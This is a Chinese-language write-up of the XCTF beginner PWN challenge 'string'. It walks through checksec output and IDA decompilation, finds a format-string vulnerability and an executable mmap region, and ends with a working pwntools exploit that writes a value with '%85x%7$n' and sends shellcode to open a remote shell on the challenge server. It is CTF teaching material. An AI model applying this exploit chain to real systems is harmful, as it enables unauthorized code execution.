【愚公系列】XCTF-简单题-PWN-003(string) 原创

发布于 2022-1-18 11:03
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@TOC

一、string

题目链接:https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=0

二、答题步骤

1.获取在线场景

【愚公系列】XCTF-简单题-PWN-003(string)-开源基础软件社区

2.查壳

对下载文件进行查壳,命令如下

file string
checksec --file=string

【愚公系列】XCTF-简单题-PWN-003(string)-开源基础软件社区
分析文件,64位系统,小端程序(LSB),程序开启了:

  • Full RELRO:无法修改got表;
  • Canary found:不能直接用溢出方法覆盖栈中返回地址,要通过改写指针与局部变量、leak canary、overwrite、canary的方法来绕过;
  • NX:意味着栈中数据没有执行权限;PIE未开启,基地址不会变化,为0x400000.

3.IDA

使用IDA对文件进行反汇编

第一步:首先找到main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  _DWORD *v4; // [rsp+18h] [rbp-78h]

  setbuf(stdout, 0LL);
  alarm(0x3Cu);//调用了 alarm 函数,并设置了计时为 60s ,也就是说程序会在 60s 后退出,在 repl 中做实验时要注意这一点
  sub_400996(60LL);//调用 sub_400996 ,这个函数主要用于输出
  v4 = malloc(8uLL);//分配了 8 个字节的空间,对低 4 位赋值为 68 ,高四位赋值为 85
  *v4 = 68;
  v4[1] = 85;
  puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
  puts("we will tell you two secret ...");
  printf("secret[0] is %x\n", v4);//将分配的空间的低四位的地址和高四位的地址分别输出
  printf("secret[1] is %x\n", v4 + 1);
  puts("do not tell anyone ");
  sub_400D72(v4);//用分配出来的空间的起始地址做参数调用了 sub_400D72
  puts("The End.....Really?");
  return 0LL;
}

第二步:找到sub_400D72函数

unsigned __int64 __fastcall sub_400D72(__int64 a1)
{
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What should your character's name be:");
  _isoc99_scanf("%s", s);
  if ( strlen(s) <= 0xC )//如果输入的长度大于 12 则回到 main 函数并退出,否则继续按顺序调用三个函数
  {
    puts("Creating a new player.");
    sub_400A7D();
    sub_400BB9();
    sub_400CA6(a1);//使用了 main 中得到的地址
  }
  else
  {
    puts("Hei! What's up!");
  }
  return __readfsqword(0x28u) ^ v3;
}

【愚公系列】XCTF-简单题-PWN-003(string)-开源基础软件社区
第三步:找到sub_400A7D函数

unsigned __int64 sub_400A7D()
{
  char s1[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(" This is a famous but quite unusual inn. The air is fresh and the");
  puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
  puts("furniture looks undamaged by brawls, which are very common in other pubs");
  puts("all around the world. The decoration looks extremely valuable and would fit");
  puts("into a palace, but in this city it's quite ordinary. In the middle of the");
  puts("room are velvet covered chairs and benches, which surround large oaken");
  puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
  puts("one corner you notice a fireplace.");
  puts("There are two obvious exits: east, up.");
  puts("But strange thing is ,no one there.");
  puts("So, where you will go?east or up?:");
  while ( 1 )
  {
    _isoc99_scanf("%s", s1);
    if ( !strcmp(s1, "east") || !strcmp(s1, "east") )
      break;
    puts("hei! I'm secious!");
    puts("So, where you will go?:");
  }
  if ( strcmp(s1, "east") )
  {
    if ( !strcmp(s1, "up") )
      sub_4009DD();
    puts("YOU KNOW WHAT YOU DO?");
    exit(0);
  }
  return __readfsqword(0x28u) ^ v2;
}

【愚公系列】XCTF-简单题-PWN-003(string)-开源基础软件社区
一直获取输入,直到输入为 east 为止才能进行下一个流程

第四步:找到sub_400BB9函数

函数中发现有格式化字符串漏洞

unsigned __int64 sub_400BB9()
{
  int v1; // [rsp+4h] [rbp-7Ch] BYREF
  __int64 v2; // [rsp+8h] [rbp-78h] BYREF
  char format[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2 = 0LL;
  puts("You travel a short distance east.That's odd, anyone disappear suddenly");
  puts(", what happend?! You just travel , and find another hole");
  puts("You recall, a big black hole will suckk you into it! Know what should you do?");
  puts("go into there(1), or leave(0)?:");
  _isoc99_scanf("%d", &v1);
  if ( v1 == 1 )//如果输入的值是 1,那么存在格式化字符串漏洞,目前还看不出它的意义
  {
    puts("A voice heard in your mind");
    puts("'Give me an address'");
    _isoc99_scanf("%ld", &v2);
    puts("And, you wish is:");
    _isoc99_scanf("%s", format);
    puts("Your wish is");
    printf(format);
    puts("I hear it, I hear it....");
  }
  return __readfsqword(0x28u) ^ v4;
}

【愚公系列】XCTF-简单题-PWN-003(string)-开源基础软件社区
第五步:找到sub_400CA6函数

unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
  void *v1; // rsi
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
  puts("Dragon say: HaHa! you were supposed to have a normal");
  puts("RPG game, but I have changed it! you have no weapon and ");
  puts("skill! you could not defeat me !");
  puts("That's sound terrible! you meet final boss!but you level is ONE!");
  if ( *a1 == a1[1] )//比较 main 中分配的空间中低四位和高四位的值,如果不相等那么一直 return 至游戏结束
  {
  	//如果相等,那么调用 mmap 分配一块 1000h 大小的空间,其中第三个参数告诉我们,这块空间具有可读可写可执行的权限
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);//获取输入并存储到这片空间中
    ((void (__fastcall *)(_QWORD))v1)(0LL);//强转为函数指针并调用之
  }
  return __readfsqword(0x28u) ^ v3;
}

第六步:写出exp脚本

from pwn import *

p = remote('111.200.241.244', 55647)

p.recvuntil('secret[0] is ')

# 获取第四位的地址,用切片切掉最后的\n,开始的空格在上面的 recvuntil 中
# 获得的数字直接用 int(x, 16) 即可转成十进制整型储存在 addr 中
addr = int(p.recvuntil('\n')[:-1], 16)

p.recvuntil('name be:\n')
p.sendline('Yuren')
p.recvuntil('up?:\n')
p.sendline('east')
p.recvuntil('leave(0)?:')
p.sendline('1')
p.recv()
p.sendline(str(addr))
p.recv()
p.sendline('%85x%7$n')
rec = p.recvuntil('SPELL\n')

context(os='linux', arch='amd64')

p.sendline(asm(shellcraft.sh()))
p.interactive()

kali中执行脚本
【愚公系列】XCTF-简单题-PWN-003(string)-开源基础软件社区
得到flag:cyberpeace{62a21e720c2bd9f081bd8861e01afec4}

总结

  • IDA
  • checksec
  • 格式化字符串漏洞

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已于2022-1-19 16:01:30修改
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